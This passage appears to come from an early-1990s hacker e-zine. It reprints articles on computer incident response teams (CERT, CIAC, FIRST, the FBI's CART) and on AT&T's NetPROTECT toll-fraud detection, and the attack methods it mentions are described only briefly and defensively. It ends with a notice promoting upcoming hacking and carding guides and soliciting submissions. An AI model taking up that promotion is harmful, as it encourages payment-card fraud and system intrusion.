When a call or message comes, the CERT member on duty supplies technical guidance to the site so that they can fix the problem and assess damage. Unless otherwise agreed to, everything is confidential and may even be

anonymous. CERT members determine whether the host was networked, its level of security, the system configuration, and whether the system's vulnerability is familiar or new.

CERT director Ed DeHat stresses that any tip is welcome. Last year, for instance, a person reported a failed attempt to seize his password file. CERT went back to the originating site and found intruder(s) "were trying to break into thousands of system." The originating site alerted managment, cut connections to the outside temporarily and closed the "holes" in its security system.

CERT does not investigate intrusions with an eye to criminal prosecution, but it does recommend whom to contact for investigations by law enforcement groups such as the local police, the FBI, or the SS.

Most of CERT's traffic consists of security chatter; experts call to share information while others ask CERT advisories or request general advice. Less often, CERT has to tip off organizations about likely penetrations. "Almost always, an incident is not stand-alone," said Fraser. It may vary from 10 hosts at a single site to "tens of thousands of hosts over the world."

Many people do not wait for a problem by call CERT for a "sanity check" - reassurance that their site and its systems are safe. Novices are not discouraged. "We hold their hands," Fraser said. Help is free and is even encouraged.

CERT was formed only weeks after the paralysing 1988 attack on Internet by Robert Morris Jr., son of a computer security scientist. It is funded by the Pentagon's Defense Advanced Research Projects Agency through the Software Engineering Institute at Carnegie Mellon University in Pittsburgh.

With its expertise in system vulnerabilities, CERT is expanding its efforts in education and training as well as research and development for network security. Already, it sends a security checklist to sites as needed and advises cores of Unix software vendors of security flaws that need patching. It also keeps a confidential mailing list of vendors regarding vulnerabilities in their products. "This is not the textbook type of security problem," DeHart said. "This is based on what people are doing."

Such companies as Sun Microsystems and NeXT, and more recently IBM, are mentioned a lot in the CERT advisories, noting fixes to systems flaws. Rather than being an embarrassment or indictment of their products, this shows that these companies are committed to security, DeHart said.

CIAC (for Computer Incident Advisory Capability), a sister group of CERT with responsibility for Department of Energy computers, is located at the Lawrence Livermore National Laboratory in Livermore, CA. Known for its software an analytical capabilities, CIAC keeps 20-30 viruses in isolation "for dissection and reverse engineering."

Steve Mich, CIAC project leader, said they average perhaps one or two incidents a week, Like CERT, they always wait until a patch is found before they announce the vulnerability. The flaw is described over email as vaguely as possible to thwart would-be-crackers. But sometimes, he said, "it's like trying to describe a hula hoop without moving your hand."

Other countries are responding too. In 1990 Germany's information security agency created two national incident response teams: the Virus Test Center at the University of Hamburg and the MicroBIT Virus Center at the University of Karlsruhe.

The Hamburg center has five staffers and many students who analyze viruses and monitor activities of the German hackers known as Chaos Computer Club. The center receives 20-100 reports of virus cases each week from Germany and

Scandinavia., divided equally between government, industry and academia. Email links aid coordination with other experts in Australia, Europe, Japan and the US. A current European Community initiative would create serval more CERT-like groups in diverse countries.

All told, the US Department of Justice reports there are more than a dozen CERT teams. Not to be left out, its own FBI recently formed the Computer Analysis and Response Team (CART), which will take its place beside other FBI laboratories, like those for analysis of DNA, chemicals and poisons, and shoe and tieprints.

Initial plans call for a staff of 12 agents. CART's main task will be the forensic examination of computer evidence, according to manager Stephan McFall. They must also guarantee (somehow) to the satisfaction of US courts that magnetic data has not been altered or deleted since being confiscated. McFall declined to give more details other than to say that research is being done and that CART will also help train agents in the field.

There are so many CERT-like groups in government and industry today that in 1990 the Forum of Incident Response and Security Teams (First) was born. The group meets regularly and organizes workshops on incident handling. Even organizations without worm-busting squads can join if approved.

- J.A.A.

Getting Tougher on Long-Distance-Service Thieves (AT&T Technology, v.7, no.4)

Theft of phone service is escalating. AT&T's NetPROTECT program helps customers secure their communications systems against remote access, preventing fraud.

Picture this. It's 2 a.m. on a soft spring night on Wall Street. The buildings lining the canyons of lower Manhattan are dark and silent; even the cleaning staffs have gone home for the weekend.

But inside the offices of Global Conglomerate, Inc. - GlocCon for short - it's very, very busy. For several hours GlocCon's PBX has been pressed to keep up with call-processing demand. Thousands of calls to dozens of domestic and international locations have poured out of the company's offices since just past normal closing time. The PBX is so active, in fact, that it offers a constant busy signal to anyone trying to call in.

For a Saturday morning at 2 a.m., GloCon is doing a land office business. The problem is that all that business is illegal. GlocCon is being hit by "callsell" operators - big time. Over the weekend alone, the toll-fraud bill is going to be substantial, perhaps even outstripping GloCon's normal monthly phone bill. And, according to the tariffs governing AT&T's services, GlocCon is responsible for picking up the tab.

Happily, for customers ant AT&T, such an experience may soon be history. Since August 24, 1992, when tariffs became effective, AT&T has been offering customers the NetPROTECT family of products and services, an integrated offering of hardware and software that helps detect, prevent and correct remote PBX toll fraud.

Such fraud is expensive. Estimates of the financial damage done by hackers and long distance thieves range from less than $1 billion to over $4 billion annually. From AT&T's perspective, the best estimate of industry toll fraud is $1.2 billion annually, a figure issued by the Washington D.C. based Communications Fraud Control Association.

But by any estimate, the fraud problem is large and growing. For several

years AT&T has offered security seminars aimed at alerting customers to toll fraud, and has been telling them how they an protect themselves against it. AT&T actively works with customers to make certain they understand and use their business telephone system's security features.

AT&T also cooperates with law enforcement agencies and customers in resolving ongoing investigations of fraud. And it recently has been the forefront of developing legislation on the state and federal levels that would treat toll fraud as the serious crime that it is. AT&T worked with the New York State legislators to make the theft of long distance service a felony; the law became effective Nov. 1, 1992.

The NetPROTECT Service offering includes fraud protection for customer premises-based equipment as well as three levels of network protection. With NetPROTECT Service active seven days a week, around the clock, AT&T's NetPROTECT Service Security organization can look continuously at network calling patterns, especially calls to a changing number of high-fraud countries.

These countries usually are involved in drug trafficking and the "country-of-the-month" changes frequently changes frequently. Fraudulent calls also are made to countries from which there's large legal and illegal emigration to the U.S. A toll switch in the U.S may suddenly start pumping out a large number of one of these countries from a particular CO. If the calls are found to originate from a business, AT& contacts the company, says fraud is suspected, and works with an employee to stop the fraudulent calling from the PBX.

NetPROTECT Service is made possible by the Toll Fraud Early Detection System - TFEDS. (See sidebar, next paragraph) TFEDS, a pattern recognition network monitoring tool, was developed by Business Customer Services - BCB (Business Customer Billing) and the Network Services Division. TFEDS enables AT&T's Corporate Security organization to quickly spot and monitor calling patterns that indicate fraud - as it occurs. NetPROTECT Services offers different levels of protection that are tailored to customer needs.

Toll Fraud Early Detection System

TFEDS provides AT&T's Corporate Security Group with timely and flexible monitoring tools to detect and report remote-access PBX fraud. TFEDS also has access to near-real-time billing data for identifying PBX fraud patterns.

In the past; that is, prior to NetPROTECT Service, the limited amount of call monitoring that was done used data that was three days to two weeks old. Now, monitoring reports are generated almost hourly, around the clock, every day. TFEDS processes data for 800 and international services and, based on predefined customized parameters, generates reports to later Corporate Security that a customer's PBX is being hacked, or that there's abnormal international calling from the PBX. Planned TFEDS enhancements include an expert system to improve detection accuracy by allowing NetPROTECT Service Security to maintain generic and customer-specific business rules applicable to PBX fraud. It also will be possible to maintain customer-specific data for long-term statistical analysis and trending, and there will be better tools for fraud case management.

LEVELS OF PROTECTION

Basic Service, the first level of protection, is provided to all AT&T businesses long distance customers at no charge. With this service, AT&T monitors its domestic 800 service and international long-distance network around the clock, seven days a week, in an attempt to spot suspicious patterns of network usage indicating fraud. Because more than 90 percent of toll fraud is international traffic to a certain number of high-fraud countries. Basic Service can catch a significant amount of fraud while its's in progress.

In early 1992 AT&T received FCC approval to deny hackers access to AT&T's 800-Service network. Using some of its basic monitoring tools, NetPROTECT

Security can monitor repeated 800 call attempts made from a particular phone number.

In the fictional Wall Street example. high calling volume from GloCon's headquarters to high-fraud countries after normal business hours would be flagged as potential fraud. Under the Basic Service option, AT&T would call a company representative to warn of suspicious traffic from its office, and the person would shut down the PBX. If the representative can't be contacted or takes no action, the customer would continue to bear all liability for whatever fraud occurred.

Advanced Service offers a greater degree of protection, requiring AT&T to implement several safeguards that include:

o preventing access to the PBX from remote-maintenance ports;
o installing security codes on the PBX so people who dial in, using remote access and other advanced features of the PBX, must dial a multidigit security code to dial out;
o safeguarding voice-mail systems so callers can't migrate from the system to outgoing direct-dial trunks; and
o maintaining backup copies of PBX software so if the PBX is hacked, it can be shut down and brought back up.

Customers must also provide a list of phone services and a list of phone numbers they want AT&T to watch, and the names and numbers of three people in the company who can be called anywhere, anytime if there's a problem. In exchange the customer's liability is $25,000 per fraud incident, measured from when the fraud starts until two hours after the customer is notified. [Eds. The original said "after AT&T is notified" but this makes no sense as the customer is the one that must shut off the PBX. And the next sentence deals with AT&T being notified by the customer.] If the customer spots the fraud first then notifies AT&T, the customer's liability is reduced by 50 percent, to a maximum of $12,500. Once fraud is identified, AT&T works with the customer to find the source and shut it down. AT&T's liability, however, stops two hours after the fraud is identified.

Premium Service offers still further protection, requiring customers to follow more stringent security guidelines. In exchange, Premium Service customers have no financial liability from the start of fraud to two hours after notification. As with the Advanced Service option, AT&T will assume liability for remote toll fraud for only two hours after the fraud is identified. AT&T also will work with customers to identify and shut down the sources of fraud.

NetPROTECT Service guarantees coverage of only remote toll fraud - fraud that occurs when a customer's telecom system has been penetrated from the outside. While our monitoring will catch fraud, customers are still responsible for protecting themselves against unauthorized use of their long-distance service by their own employees or other inside agents.

AT&T Global Business Communications Systems also offers the following products and services, which help secure customer-premises equipment:

o AT&T Hacker Tracker - software that's used with AT&T's PBX Call Accounting System for continuous monitoring of all incoming and outgoing calls. This software causes the system to automatically alert security when it detects abnormal activity such as a PBX getting high volumes of incoming 800-number calls after hours, or calls to international destinations.

o Security Audit Service - a consulting service provided by security people in AT&T's National Technical Service Center in Denver, and Corporate Security. These people perform individual system audits and recommend security measures.

o Fraud Intervention Service - provided by AT&T's National Technical Service Centre. The service helps customers identify and stop fraud while its in progress. It would give step-by-step guidance, for example on securing the PBX and installing the back-up copy of the PBX's software. Also available are several educational offerings and a security handbook.

ADDED SAFEGUARDS
Since NetPROTECT Service was announced, a number of insurance companies have indicated interest in providing toll-fraud insurance. The Travellers Companies actually have introduced toll-fraud insurance policies that cover business customers, indemnifying them for a loss that has occurred. Further measures also have been taken., Using some of the basic monitoring tools, AT&T NetPROTECT Service security personnel now can monitor repeated 800 call attempts made from a particular telephone number.

This is particularly useful because a favourite trick of hackers is to randomly dial 800 numbers to reach a voice-processing system or other automated attendant. If the owner of the 800 number hasn't properly secured the system, a hacker can bypass it and make outgoing calls. Once they penetrate a particular number, hackers often sell it or may post it on electronic bulletin boards for other hackers to use. People who exceed a certain threshold level (which changes hourly or daily) of 800-number attempts in a predetermined time are locked out of AT&T's 800 network.

Toll fraud isn't committed just by hackers. It's a big and growing business, often perpetrated by organized crime. Because toll-fraud has generally not been a high priority for law enforcement officials, toll thieves traditionally have not faced heavy penalties even if caught. With little risk and high profits, it's no wonder the toll-fraud business is booming.

NetPROTECT Service is an aggressive program to fight back. Standing squarely with its customers, AT&T believes it can put an end to the theft of long distance service.

By James R. McFarland

Coming Soon in Future LOD Technical Journals:
%%

* An Introduction to starting and operating your own pirate radio station.

* An Update of The Mentor's famous Introduction to Hacking. With new defaults, new systems and tricks of the trade!

* Bit Stream on Carding Today

* And MUCH, MUCH more!

Remember, the more files submitted the quicker these journals can roll out. If you'd like to offer anything to the LOD, contact us today.